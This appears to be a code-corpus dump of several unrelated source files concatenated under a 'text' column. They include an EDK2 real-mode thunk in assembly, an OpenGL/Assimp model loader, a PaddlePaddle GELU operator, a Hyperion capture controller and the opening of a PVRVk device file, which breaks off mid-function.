text stringlengths 1 1.05M |
|---|
#include "BaseLibInternals.h"
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2013, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; Thunk.asm
;
; Abstract:
;
; Real mode thunk
;
;------------------------------------------------------------------------------
global ASM_PFX(m16Size)
global ASM_PFX(mThunk16Attr)
global ASM_PFX(m16Gdt)
global ASM_PFX(m16GdtrBase)
global ASM_PFX(mTransition)
global ASM_PFX(m16Start)
struc IA32_REGS
._EDI: resd 1
._ESI: resd 1
._EBP: resd 1
._ESP: resd 1
._EBX: resd 1
._EDX: resd 1
._ECX: resd 1
._EAX: resd 1
._DS: resw 1
._ES: resw 1
._FS: resw 1
._GS: resw 1
._EFLAGS: resd 1
._EIP: resd 1
._CS: resw 1
._SS: resw 1
.size:
endstruc
;; .const
SECTION .data
;
; These are global constant to convey information to C code.
;
ASM_PFX(m16Size) DW ASM_PFX(InternalAsmThunk16) - ASM_PFX(m16Start)
ASM_PFX(mThunk16Attr) DW _BackFromUserCode.ThunkAttrEnd - 4 - ASM_PFX(m16Start)
ASM_PFX(m16Gdt) DW _NullSegDesc - ASM_PFX(m16Start)
ASM_PFX(m16GdtrBase) DW _16GdtrBase - ASM_PFX(m16Start)
ASM_PFX(mTransition) DW _EntryPoint - ASM_PFX(m16Start)
SECTION .text
ASM_PFX(m16Start):
SavedGdt:
dw 0
dd 0
;------------------------------------------------------------------------------
; _BackFromUserCode() takes control in real mode after 'retf' has been executed
; by user code. It will be shadowed to somewhere in memory below 1MB.
;------------------------------------------------------------------------------
_BackFromUserCode:
;
; The order of saved registers on the stack matches the order they appears
; in IA32_REGS structure. This facilitates wrapper function to extract them
; into that structure.
;
BITS 16
push ss
push cs
;
; Note: We can't use o32 on the next instruction because of a bug
; in NASM 2.09.04 through 2.10rc1.
;
call dword .Base ; push eip
.Base:
pushfd
cli ; disable interrupts
push gs
push fs
push es
push ds
pushad
mov edx, strict dword 0
.ThunkAttrEnd:
test dl, THUNK_ATTRIBUTE_DISABLE_A20_MASK_INT_15
jz .1
mov ax, 2401h
int 15h
cli ; disable interrupts
jnc .2
.1:
test dl, THUNK_ATTRIBUTE_DISABLE_A20_MASK_KBD_CTRL
jz .2
in al, 92h
or al, 2
out 92h, al ; deactivate A20M#
.2:
xor eax, eax
mov ax, ss
lea ebp, [esp + IA32_REGS.size]
mov [bp - IA32_REGS.size + IA32_REGS._ESP], ebp
mov bx, [bp - IA32_REGS.size + IA32_REGS._EIP]
shl eax, 4 ; shl eax, 4
add ebp, eax ; add ebp, eax
mov eax, strict dword 0
.SavedCr4End:
mov cr4, eax
o32 lgdt [cs:bx + (SavedGdt - .Base)]
mov eax, strict dword 0
.SavedCr0End:
mov cr0, eax
mov ax, strict word 0
.SavedSsEnd:
mov ss, eax
mov esp, strict dword 0
.SavedEspEnd:
o32 retf ; return to protected mode
_EntryPoint:
DD _ToUserCode - ASM_PFX(m16Start)
DW 8h
_16Idtr:
DW (1 << 10) - 1
DD 0
_16Gdtr:
DW GdtEnd - _NullSegDesc - 1
_16GdtrBase:
DD 0
;------------------------------------------------------------------------------
; _ToUserCode() takes control in real mode before passing control to user code.
; It will be shadowed to somewhere in memory below 1MB.
;------------------------------------------------------------------------------
_ToUserCode:
BITS 16
mov dx, ss
mov ss, cx ; set new segment selectors
mov ds, cx
mov es, cx
mov fs, cx
mov gs, cx
mov cr0, eax ; real mode starts at next instruction
; which (per SDM) *must* be a far JMP.
jmp 0:strict word 0
.RealAddrEnd:
mov cr4, ebp
mov ss, si ; set up 16-bit stack segment
xchg esp, ebx ; set up 16-bit stack pointer
mov bp, [esp + IA32_REGS.size]
mov [cs:bp + (_BackFromUserCode.SavedSsEnd - 2 - _BackFromUserCode)], dx
mov [cs:bp + (_BackFromUserCode.SavedEspEnd - 4 - _BackFromUserCode)], ebx
lidt [cs:bp + (_16Idtr - _BackFromUserCode)]
popad
pop ds
pop es
pop fs
pop gs
popfd
o32 retf ; transfer control to user code
ALIGN 16
_NullSegDesc DQ 0
_16CsDesc:
DW -1
DW 0
DB 0
DB 9bh
DB 8fh ; 16-bit segment, 4GB limit
DB 0
_16DsDesc:
DW -1
DW 0
DB 0
DB 93h
DB 8fh ; 16-bit segment, 4GB limit
DB 0
GdtEnd:
;------------------------------------------------------------------------------
; IA32_REGISTER_SET *
; EFIAPI
; InternalAsmThunk16 (
; IN IA32_REGISTER_SET *RegisterSet,
; IN OUT VOID *Transition
; );
;------------------------------------------------------------------------------
global ASM_PFX(InternalAsmThunk16)
ASM_PFX(InternalAsmThunk16):
BITS 32
push ebp
push ebx
push esi
push edi
push ds
push es
push fs
push gs
mov esi, [esp + 36] ; esi <- RegSet, the 1st parameter
movzx edx, word [esi + IA32_REGS._SS]
mov edi, [esi + IA32_REGS._ESP]
add edi, - (IA32_REGS.size + 4) ; reserve stack space
mov ebx, edi ; ebx <- stack offset
imul eax, edx, 16 ; eax <- edx * 16
push IA32_REGS.size / 4
add edi, eax ; edi <- linear address of 16-bit stack
pop ecx
rep movsd ; copy RegSet
mov eax, [esp + 40] ; eax <- address of transition code
mov esi, edx ; esi <- 16-bit stack segment
lea edx, [eax + (_BackFromUserCode.SavedCr0End - ASM_PFX(m16Start))]
mov ecx, eax
and ecx, 0fh
shl eax, 12
lea ecx, [ecx + (_BackFromUserCode - ASM_PFX(m16Start))]
mov ax, cx
stosd ; [edi] <- return address of user code
add eax, _ToUserCode.RealAddrEnd - _BackFromUserCode
mov [edx + (_ToUserCode.RealAddrEnd - 4 - _BackFromUserCode.SavedCr0End)], eax
sgdt [edx + (SavedGdt - _BackFromUserCode.SavedCr0End)]
sidt [esp + 36] ; save IDT stack in argument space
mov eax, cr0
mov [edx - 4], eax ; save CR0 in _BackFromUserCode.SavedCr0End - 4
and eax, 7ffffffeh ; clear PE, PG bits
mov ebp, cr4
mov [edx + (_BackFromUserCode.SavedCr4End - 4 - _BackFromUserCode.SavedCr0End)], ebp
and ebp, ~30h ; clear PAE, PSE bits
push 10h
pop ecx ; ecx <- selector for data segments
lgdt [edx + (_16Gdtr - _BackFromUserCode.SavedCr0End)]
pushfd ; Save df/if indeed
call dword far [edx + (_EntryPoint - _BackFromUserCode.SavedCr0End)]
popfd
lidt [esp + 36] ; restore protected mode IDTR
lea eax, [ebp - IA32_REGS.size] ; eax <- the address of IA32_REGS
pop gs
pop fs
pop es
pop ds
pop edi
pop esi
pop ebx
pop ebp
ret
|
/*
* Copyright (C) 2021 Intel Corporation
*
* SPDX-License-Identifier: MIT
*
*/
#include "shared/source/execution_environment/root_device_environment.h"
#include "shared/source/os_interface/linux/os_interface_linux.h"
namespace NEO {
bool RootDeviceEnvironment::initOsInterface(std::unique_ptr<HwDeviceId> &&hwDeviceId, uint32_t rootDeviceIndex) {
return initDrmOsInterface(std::move(hwDeviceId), rootDeviceIndex, this);
}
} // namespace NEO
|
; A101156: a(n) = 2*Fibonacci(n) + 8*Fibonacci(n-5).
; 10,24,34,58,92,150,242,392,634,1026,1660,2686,4346,7032,11378,18410,29788,48198,77986,126184,204170,330354,534524,864878,1399402,2264280,3663682,5927962,9591644,15519606,25111250,40630856,65742106,106372962,172115068,278488030,450603098,729091128,1179694226,1908785354,3088479580,4997264934,8085744514,13083009448,21168753962,34251763410,55420517372,89672280782,145092798154,234765078936,379857877090,614622956026,994480833116,1609103789142,2603584622258,4212688411400,6816273033658,11028961445058,17845234478716,28874195923774,46719430402490,75593626326264,122313056728754,197906683055018,320219739783772,518126422838790,838346162622562,1356472585461352,2194818748083914,3551291333545266,5746110081629180,9297401415174446,15043511496803626,24340912911978072,39384424408781698,63725337320759770,103109761729541468,166835099050301238,269944860779842706,436779959830143944,706724820609986650,1143504780440130594,1850229601050117244,2993734381490247838,4843963982540365082,7837698364030612920,12681662346570978002,20519360710601590922,33201023057172568924,53720383767774159846,86921406824946728770,140641790592720888616,227563197417667617386,368204988010388506002,595768185428056123388,963973173438444629390,1559741358866500752778,2523714532304945382168,4083455891171446134946,6607170423476391517114
seq $0,22137 ; Fibonacci sequence beginning 5, 12.
mul $0,2
|
#define STB_IMAGE_IMPLEMENTATION
#include "telabrium/model.h"
// Static initialization
Texture Model::tesst;
// constructor, expects a filepath to a 3D model.
Model::Model(std::string const &path, glm::vec3 _pos, glm::vec3 _rot, glm::vec3 _scl, bool gamma) : Object3d(_pos, _rot, _scl) {
this->path = path;
loadModel(path);
}
Model::Model(Json::Value j) : Object3d(j) {
this->path = j["path"].asString();
loadModel(path);
}
Model::~Model() {}
// loads a model with supported ASSIMP extensions from file and stores the resulting meshes in the meshes vector.
void Model::loadModel(std::string const &path){
// read file via ASSIMP
Assimp::Importer importer;
const aiScene* scene = importer.ReadFile(path, aiProcess_Triangulate | aiProcess_FlipUVs | aiProcess_CalcTangentSpace);
// check for errors
if (!scene || scene->mFlags & AI_SCENE_FLAGS_INCOMPLETE || !scene->mRootNode) // if is Not Zero
{
TelabriumLog(importer.GetErrorString(), 2);
return;
}
// retrieve the directory path of the filepath
directory = path.substr(0, path.find_last_of('/'));
// process ASSIMP's root node recursively
processNode(scene->mRootNode, scene);
}
// processes a node in a recursive fashion. Processes each individual mesh located at the node and repeats this process on its children nodes (if any).
void Model::processNode(aiNode *node, const aiScene *scene){
// process each mesh located at the current node
for (unsigned int i = 0; i < node->mNumMeshes; i++) {
// the node object only contains indices to index the actual objects in the scene.
// the scene contains all the data, node is just to keep stuff organized (like relations between nodes).
aiMesh* aimesh = scene->mMeshes[node->mMeshes[i]];
move<Mesh>(processMesh(aimesh, scene, node));
}
// after we've processed all of the meshes (if any) we then recursively process each of the children nodes
for (unsigned int i = 0; i < node->mNumChildren; i++) {
processNode(node->mChildren[i], scene);
}
}
std::unique_ptr<Mesh> Model::processMesh(aiMesh* mesh, const aiScene* scene, aiNode* node) {
std::vector<unsigned int> indices;
// Walk through each of the mesh's faces (a face is a mesh its triangle) and retrieve the corresponding vertex indices.
for (unsigned int i = 0; i < mesh->mNumFaces; i++) {
aiFace face = mesh->mFaces[i];
// retrieve all indices of the face and store them in the indices vector
for (unsigned int j = 0; j < face.mNumIndices; j++)
indices.push_back(face.mIndices[j]);
}
// Get the meshes transform relative to its parent
glm::mat4 transform = glm::mat4(1); aiVector3D aiPos, aiRot, aiScl;
node->mTransformation.Decompose(aiScl, aiRot, aiPos);
glm::vec3 pos = aiVec3ToGlm(aiPos);
glm::vec3 rot = aiVec3ToGlm(aiRot);
glm::vec3 scl = aiVec3ToGlm(aiScl);
transform = glm::translate(transform, pos);
transform = glm::rotate(transform, glm::radians(rot.x), glm::vec3(1, 0, 0));
transform = glm::rotate(transform, glm::radians(rot.y), glm::vec3(0, 1, 0));
transform = glm::rotate(transform, glm::radians(rot.z), glm::vec3(0, 0, 1));
transform = glm::scale(transform, scl);
// return a mesh object created from the extracted mesh data
return std::make_unique<Mesh>(
extractVertices(mesh),
indices,
extractTextures(mesh, scene),
std::vector<std::shared_ptr<Material>>{extractMeshMaterial(mesh, scene)},
transform
);
}
glm::vec3 aiVec3ToGlm(aiColor3D in) {
glm::vec3 out;
out.x = in.r; out.y = in.g; out.z = in.b;
return out;
}
glm::vec3 aiVec3ToGlm(aiVector3D in) {
glm::vec3 out;
out.x = in.x; out.y = in.y; out.z = in.z;
return out;
}
glm::mat4 aiMatrixToMat4(aiMatrix4x4 in) {
glm::vec4 A(in.a1, in.a2, in.a3, in.a4);
glm::vec4 B(in.b1, in.b2, in.b3, in.b4);
glm::vec4 C(in.c1, in.c2, in.c3, in.c4);
glm::vec4 D(in.d1, in.d2, in.d3, in.d4);
return glm::mat4(A, B, C, D);
}
std::vector<Vertex> Model::extractVertices(aiMesh* mesh) {
std::vector<Vertex> vertices;
for(unsigned i=0; i < mesh->mNumVertices; i++) {
Vertex v;
v.pos.x = mesh->mVertices[i].x;
v.pos.y = mesh->mVertices[i].y;
v.pos.z = mesh->mVertices[i].z;
v.Normal.x = mesh->mNormals[i].x;
v.Normal.y = mesh->mNormals[i].y;
v.Normal.z = mesh->mNormals[i].z;
if(mesh->mTextureCoords[0]) {
v.TexCoords.x = mesh->mTextureCoords[0][i].x;
v.TexCoords.y = mesh->mTextureCoords[0][i].y;
} else {
v.TexCoords = glm::vec2(0);
}
if(mesh->mTangents) {
v.Tangent.x = mesh->mTangents[i].x;
v.Tangent.y = mesh->mTangents[i].y;
v.Tangent.z = mesh->mTangents[i].z;
v.Bitangent.x = mesh->mBitangents[i].x;
v.Bitangent.y = mesh->mBitangents[i].y;
v.Bitangent.z = mesh->mBitangents[i].z;
}
vertices.push_back(v);
}
return vertices;
}
std::shared_ptr<Material> Model::extractMeshMaterial(aiMesh* mesh, const aiScene* scene) {
auto mat = Material::requestMaterial("materials/default.json");
aiMaterial* aiMat = scene->mMaterials[mesh->mMaterialIndex]; // Get <mesh>'s aiMat from the <scene>
// Material properties
aiColor3D placeholder_color;
float placeholder_float;
aiMat->Get(AI_MATKEY_COLOR_DIFFUSE, placeholder_color);
mat->modifyKey("color_diffuse", aiVec3ToGlm(placeholder_color));
aiMat->Get(AI_MATKEY_COLOR_SPECULAR, placeholder_color);
mat->modifyKey("color_specular", aiVec3ToGlm(placeholder_color));
aiMat->Get(AI_MATKEY_COLOR_AMBIENT, placeholder_color);
mat->modifyKey("color_ambient", aiVec3ToGlm(placeholder_color));
aiMat->Get(AI_MATKEY_COLOR_TRANSPARENT, placeholder_color);
mat->modifyKey("color_transparent", aiVec3ToGlm(placeholder_color));
aiMat->Get(AI_MATKEY_COLOR_EMISSIVE, placeholder_color);
mat->modifyKey("color_emissive", aiVec3ToGlm(placeholder_color));
aiMat->Get(AI_MATKEY_SHININESS, placeholder_float);
mat->modifyKey("shine", placeholder_float);
aiMat->Get(AI_MATKEY_REFRACTI, placeholder_float);
mat->modifyKey("ior", placeholder_float);
aiMat->Get(AI_MATKEY_OPACITY, placeholder_float);
mat->modifyKey("opacity", placeholder_float);
// aiMat->Get(AI_MATKEY_TWOSIDED, mat.twosided);
// mat.add("color_diffuse", "vec3", placeholder_bool);
return mat;
}
std::vector<Texture> Model::extractTextures(aiMesh* mesh, const aiScene* scene) {
std::vector<Texture> textures;
aiMaterial* aiMat = scene->mMaterials[mesh->mMaterialIndex]; // Get <mesh>'s aiMat from the <scene>
// Check for embedded textures
if(scene->HasTextures()) {
}
// we assume a convention for sampler names in the shaders. Each diffuse texture should be named
// as 'texture_diffuseN' where N is a sequential number ranging from 1 to MAX_SAMPLER_NUMBER.
// Same applies to other texture as the following list summarizes:
// diffuse: texture_diffuseN
// specular: texture_specularN
// normal: texture_normalN
std::map<aiTextureType, const char*> texture_types = { // All the different types of textures to check for and load
{aiTextureType_DIFFUSE, "tx_diffuse"},
{aiTextureType_SPECULAR, "tx_specular"},
{aiTextureType_AMBIENT, "tx_ambient"},
{aiTextureType_EMISSIVE, "tx_emissive"},
{aiTextureType_HEIGHT, "tx_height"},
{aiTextureType_NORMALS, "tx_normal"},
{aiTextureType_SHININESS, "tx_shine"},
{aiTextureType_OPACITY, "tx_opacity"},
{aiTextureType_REFLECTION, "tx_reflection"}
};
std::vector<Texture> extracted; // Placeholder to put into mat.textures
for(auto it : texture_types) {
extracted = loadMaterialTextures(aiMat, it.first, it.second);
if(extracted.empty()) {
Texture m = tesst;
m.type = it.second;
textures.push_back(m);
} else {
textures.insert(textures.end(), extracted.begin(), extracted.end());
}
}
return textures;
}
// checks all material textures of a given type and loads the textures if they're not loaded yet.
// the required info is returned as a Texture struct.
std::vector<Texture> Model::loadMaterialTextures(aiMaterial* mat, aiTextureType type, std::string typeName) {
std::vector<Texture> textures;
for (unsigned int i = 0; i < mat->GetTextureCount(type); i++) {
aiString str;
mat->GetTexture(type, i, &str);
// check if texture was loaded before and if so, continue to next iteration: skip loading a new texture
bool skip = false;
for (unsigned int j = 0; j < textures_loaded.size(); j++) {
if (std::strcmp(textures_loaded[j].path.data(), str.C_Str()) == 0) {
textures.push_back(textures_loaded[j]);
skip = true; // a texture with the same filepath has already been loaded, continue to next one. (optimization)
break;
}
}
if (!skip) {
// if texture hasn't been loaded already, load it
Texture tex = loadTexture(std::string(str.C_Str()), this->directory);
tex.type = typeName;
textures.push_back(tex);
textures_loaded.push_back(tex); // store it as texture loaded for entire model, to ensure we won't load duplicate textures.
}
}
return textures;
}
Texture loadTexture(std::string path, std::string directory){
std::string filename = Telabrium::segment(path, '/').back(); // Get the filename from the path
if (directory != "")
filename = directory + '/' + filename;
Texture tex{0, "", filename};
if(!Model::tesst.glID) {
glGenTextures(1,&Model::tesst.glID);
}
// Generate 1 id for this texture
glGenTextures(1, &tex.glID);
int width, height, nrComponents;
unsigned char *data = stbi_load(filename.c_str(), &width, &height, &nrComponents, 0);
if (data) {
GLenum format = 4;
if (nrComponents == 1)
format = GL_RED;
else if (nrComponents == 3)
format = GL_RGB;
else if (nrComponents == 4)
format = GL_RGBA;
glBindTexture(GL_TEXTURE_2D, tex.glID);
glTexImage2D(GL_TEXTURE_2D, 0, format, width, height, 0, format, GL_UNSIGNED_BYTE, data);
glGenerateMipmap(GL_TEXTURE_2D);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
} else {
GLenum err;
if((err = glGetError()) != GL_NO_ERROR){
std::cerr << "GL Error: \"" << err << "\"" << std::endl;
}
TelabriumLog("Texture failed to load at path: \"" + filename + "\"", 2);
}
stbi_image_free(data);
return tex;
}
Texture loadCubemap(std::vector<std::string> faces, std::string path) {
Texture tex{0, "texture_cubemap", path};
glGenTextures(1, &tex.glID);
glBindTexture(GL_TEXTURE_CUBE_MAP, tex.glID);
int width, height, nrChannels;
for (unsigned int i = 0; i < faces.size(); i++)
{
unsigned char *data = stbi_load((path + std::string("/") + faces[i]).c_str(), &width, &height, &nrChannels, 0);
if (data)
{
glTexImage2D(GL_TEXTURE_CUBE_MAP_POSITIVE_X + i,
0, GL_RGB, width, height, 0, GL_RGB, GL_UNSIGNED_BYTE, data
);
stbi_image_free(data);
}
else
{
TelabriumLog("Cubemap texture failed to load at path: \"" + path + "/" + faces[i] + "\"", 2);
stbi_image_free(data);
}
}
glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE);
return tex;
} |
/* Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License. */
#include <memory>
#include <string>
#include "paddle/fluid/framework/infershape_utils.h"
#include "paddle/fluid/framework/op_registry.h"
#include "paddle/fluid/framework/operator.h"
#include "paddle/phi/core/infermeta_utils.h"
#include "paddle/phi/infermeta/unary.h"
namespace paddle {
namespace operators {
class GeluOp : public framework::OperatorWithKernel {
public:
GeluOp(const std::string &type, const framework::VariableNameMap &inputs,
const framework::VariableNameMap &outputs,
const framework::AttributeMap &attrs)
: OperatorWithKernel(type, inputs, outputs, attrs) {}
protected:
framework::OpKernelType GetExpectedKernelType(
const framework::ExecutionContext &ctx) const override {
framework::LibraryType library{framework::LibraryType::kPlain};
framework::DataLayout layout = framework::DataLayout::kAnyLayout;
auto data_type = OperatorWithKernel::IndicateVarDataType(ctx, "X");
#ifdef PADDLE_WITH_MKLDNN
auto it = this->Attrs().find("use_mkldnn");
if (library == framework::LibraryType::kPlain &&
it != this->Attrs().end() && this->CanMKLDNNBeUsed(ctx, data_type)) {
library = framework::LibraryType::kMKLDNN;
layout = framework::DataLayout::kMKLDNN;
}
#endif
return framework::OpKernelType(data_type, ctx.GetPlace(), layout, library);
}
};
class GeluGradOp : public framework::OperatorWithKernel {
public:
using framework::OperatorWithKernel::OperatorWithKernel;
void InferShape(framework::InferShapeContext *ctx) const override {
PADDLE_ENFORCE_EQ(
ctx->HasInput(framework::GradVarName("Out")), true,
platform::errors::InvalidArgument(
"Input(%s) of GeluGradOp should not be null.", "DOut"));
PADDLE_ENFORCE_EQ(ctx->HasInput("X"), true,
platform::errors::InvalidArgument(
"Input(%s) of GeluGradOp should not be null.", "X"));
PADDLE_ENFORCE_EQ(
ctx->HasOutput(framework::GradVarName("X")), true,
platform::errors::InvalidArgument(
"Output(%s) of GeluGradOp should not be null.", "DX"));
auto x_grad_name = framework::GradVarName("X");
ctx->SetOutputDim(x_grad_name, ctx->GetInputDim("X"));
ctx->ShareLoD("X", /*->*/ x_grad_name);
}
protected:
framework::OpKernelType GetExpectedKernelType(
const framework::ExecutionContext &ctx) const override {
framework::LibraryType library{framework::LibraryType::kPlain};
framework::DataLayout layout = framework::DataLayout::kAnyLayout;
auto data_type = OperatorWithKernel::IndicateVarDataType(ctx, "X");
#ifdef PADDLE_WITH_MKLDNN
auto it = this->Attrs().find("use_mkldnn");
if (library == framework::LibraryType::kPlain &&
it != this->Attrs().end() && this->CanMKLDNNBeUsed(ctx, data_type)) {
library = framework::LibraryType::kMKLDNN;
layout = framework::DataLayout::kMKLDNN;
}
#endif
return framework::OpKernelType(data_type, ctx.GetPlace(), layout, library);
}
};
class GeluOpMaker : public framework::OpProtoAndCheckerMaker {
public:
void Make() override {
AddInput("X", "Input of Gelu operator");
AddOutput("Out", "Output of Gelu operator");
AddAttr<bool>("approximate",
"(bool, default false) use approximation of gelu")
.SetDefault(false);
AddAttr<bool>("use_mkldnn",
"(bool, default false) Only used in mkldnn kernel")
.SetDefault(false)
.AsExtra();
AddAttr<std::string>(
"mkldnn_data_type",
"(string, default \"float32\"). Data type of mkldnn kernel")
.SetDefault("float32")
.InEnum({"float32", "int8", "bfloat16"})
.AsExtra();
AddAttr<bool>("use_cudnn",
"(bool, default false) Only used in cudnn kernel, need "
"install cudnn")
.SetDefault(false)
.AsExtra();
AddComment(R"DOC(
Gelu Activation Operator.
For more details, please refer to [Gaussian Error Linear Units](https://arxiv.org/pdf/1606.08415.pdf).
when using approximation
$out = \\frac{1}{2}x(1+tanh(\\sqrt{\\frac{2}{\\pi}}(x+0.044715x^{3}))$
or else
$out = \\frac{1 + erf(\\frac{x}{\\sqrt{2}})}{2} x$
)DOC");
}
};
template <typename T>
class GeluGradOpMaker : public framework::SingleGradOpMaker<T> {
public:
using framework::SingleGradOpMaker<T>::SingleGradOpMaker;
protected:
void Apply(GradOpPtr<T> grad_op) const override {
grad_op->SetType("gelu_grad");
grad_op->SetInput("X", this->Input("X"));
grad_op->SetInput(framework::GradVarName("Out"), this->OutputGrad("Out"));
grad_op->SetOutput(framework::GradVarName("X"), this->InputGrad("X"));
grad_op->SetAttrMap(this->Attrs());
}
};
} // namespace operators
} // namespace paddle
namespace ops = paddle::operators;
DECLARE_INFER_SHAPE_FUNCTOR(gelu, GeluInferShapeFunctor,
PD_INFER_META(phi::UnchangedInferMeta));
REGISTER_OPERATOR(gelu, ops::GeluOp, ops::GeluOpMaker,
ops::GeluGradOpMaker<paddle::framework::OpDesc>,
ops::GeluGradOpMaker<paddle::imperative::OpBase>,
GeluInferShapeFunctor);
REGISTER_OPERATOR(gelu_grad, ops::GeluGradOp);
|
; TypeNames indexes (see data/types/names.asm)
; also used in:
; - PokedexTypeSearchConversionTable (see data/types/search_types.asm)
; - PokedexTypeSearchStrings (see data/types/search_strings.asm)
; - TypeMatchups (see data/types/type_matchups.asm)
; - TypeBoostItems (see data/types/type_boost_items.asm)
const_def
PHYSICAL EQU const_value
const NORMAL
const FIGHTING
const FLYING
const POISON
const GROUND
const ROCK
const BIRD
const BUG
const GHOST
const STEEL
UNUSED_TYPES EQU const_value
const TYPE_10
const TYPE_11
const TYPE_12
const TYPE_13
const TYPE_14
const TYPE_15
const TYPE_16
const TYPE_17
const TYPE_18
const CURSE_T
UNUSED_TYPES_END EQU const_value
SPECIAL EQU const_value
const FIRE
const WATER
const GRASS
const ELECTRIC
const PSYCHIC
const ICE
const DRAGON
const DARK
const FAIRY
TYPES_END EQU const_value
NUM_TYPES EQU TYPES_END + UNUSED_TYPES - UNUSED_TYPES_END
|
#include <hyperion/CaptureCont.h>
// hyperion includes
#include <hyperion/Hyperion.h>
// utils includes
#include <utils/GlobalSignals.h>
// qt includes
#include <QTimer>
CaptureCont::CaptureCont(Hyperion* hyperion)
: QObject()
, _hyperion(hyperion)
, _v4lCaptEnabled(false)
, _v4lCaptPrio(0)
, _v4lCaptName()
, _v4lInactiveTimer(new QTimer(this))
{
// settings changes
connect(_hyperion, &Hyperion::settingsChanged, this, &CaptureCont::handleSettingsUpdate);
// comp changes
connect(_hyperion, &Hyperion::compStateChangeRequest, this, &CaptureCont::handleCompStateChangeRequest);
// inactive timer v4l
connect(_v4lInactiveTimer, &QTimer::timeout, this, &CaptureCont::setV4lInactive);
_v4lInactiveTimer->setSingleShot(true);
_v4lInactiveTimer->setInterval(1000);
// init
handleSettingsUpdate(settings::INSTCAPTURE, _hyperion->getSetting(settings::INSTCAPTURE));
}
void CaptureCont::handleV4lImage(const QString& name, const Image<ColorRgb> & image)
{
if(_v4lCaptName != name)
{
_hyperion->registerInput(_v4lCaptPrio, hyperion::COMP_V4L, "System", name);
_v4lCaptName = name;
}
_v4lInactiveTimer->start();
_hyperion->setInputImage(_v4lCaptPrio, image);
}
void CaptureCont::setV4LCaptureEnable(bool enable)
{
if(_v4lCaptEnabled != enable)
{
if(enable)
{
_hyperion->registerInput(_v4lCaptPrio, hyperion::COMP_V4L);
connect(GlobalSignals::getInstance(), &GlobalSignals::setV4lImage, this, &CaptureCont::handleV4lImage);
connect(GlobalSignals::getInstance(), &GlobalSignals::setV4lImage, _hyperion, &Hyperion::forwardV4lProtoMessage);
}
else
{
disconnect(GlobalSignals::getInstance(), &GlobalSignals::setV4lImage, 0, 0);
_hyperion->clear(_v4lCaptPrio);
_v4lInactiveTimer->stop();
_v4lCaptName = "";
}
_v4lCaptEnabled = enable;
_hyperion->setNewComponentState(hyperion::COMP_V4L, enable);
emit GlobalSignals::getInstance()->requestSource(hyperion::COMP_V4L, int(_hyperion->getInstanceIndex()), enable);
}
}
void CaptureCont::handleSettingsUpdate(settings::type type, const QJsonDocument& config)
{
if(type == settings::INSTCAPTURE)
{
const QJsonObject& obj = config.object();
if(_v4lCaptPrio != obj["v4lPriority"].toInt(240))
{
setV4LCaptureEnable(false); // clear prio
_v4lCaptPrio = obj["v4lPriority"].toInt(240);
}
setV4LCaptureEnable(obj["v4lEnable"].toBool(true));
}
}
void CaptureCont::handleCompStateChangeRequest(hyperion::Components component, bool enable)
{
if(component == hyperion::COMP_V4L)
{
setV4LCaptureEnable(enable);
}
}
void CaptureCont::setV4lInactive()
{
_hyperion->setInputInactive(_v4lCaptPrio);
}
|
/*!
\brief Function implementations of the Vulkan Device class.
\file PVRVk/DeviceVk.cpp
\author PowerVR by Imagination, Developer Technology Team
\copyright Copyright (c) Imagination Technologies Limited.
*/
//!\cond NO_DOXYGEN
#include "PVRVk/DeviceVk.h"
#include "PVRVk/InstanceVk.h"
#include "PVRVk/BufferVk.h"
#include "PVRVk/CommandPoolVk.h"
#include "PVRVk/DescriptorSetVk.h"
#include "PVRVk/DescriptorSetVk.h"
#include "PVRVk/FramebufferVk.h"
#include "PVRVk/DeviceMemoryVk.h"
#include "PVRVk/QueueVk.h"
#include "PVRVk/PipelineLayoutVk.h"
#include "PVRVk/SamplerVk.h"
#include "PVRVk/ShaderModuleVk.h"
#include "PVRVk/ImageVk.h"
#include "PVRVk/RenderPassVk.h"
#include "PVRVk/EventVk.h"
#include "PVRVk/FenceVk.h"
#include "PVRVk/SemaphoreVk.h"
#include "PVRVk/GraphicsPipelineVk.h"
#include "PVRVk/ComputePipelineVk.h"
#include "PVRVk/PopulateCreateInfoVk.h"
#include "PVRVk/SwapchainVk.h"
#include "PVRVk/PipelineCacheVk.h"
#include "PVRVk/QueryPoolVk.h"
namespace pvrvk {
static inline VkDeviceQueueCreateInfo createQueueCreateInfo()
{
static const float priority[5] = { 1.0f, 1.0f, 1.0f, 1.0f, 1.0f };
VkDeviceQueueCreateInfo createInfo = {};
createInfo.queueCount = 1;
createInfo.sType = static_cast<VkStructureType>(StructureType::e_DEVICE_QUEUE_CREATE_INFO);
createInfo.pNext = NULL;
createInfo.queueFamilyIndex = static_cast<uint32_t>(-1);
createInfo.pQueuePriorities = priority;
createInfo.flags = static_cast<VkDeviceQueueCreateFlags>(DeviceQueueCreateFlags::e_NONE);
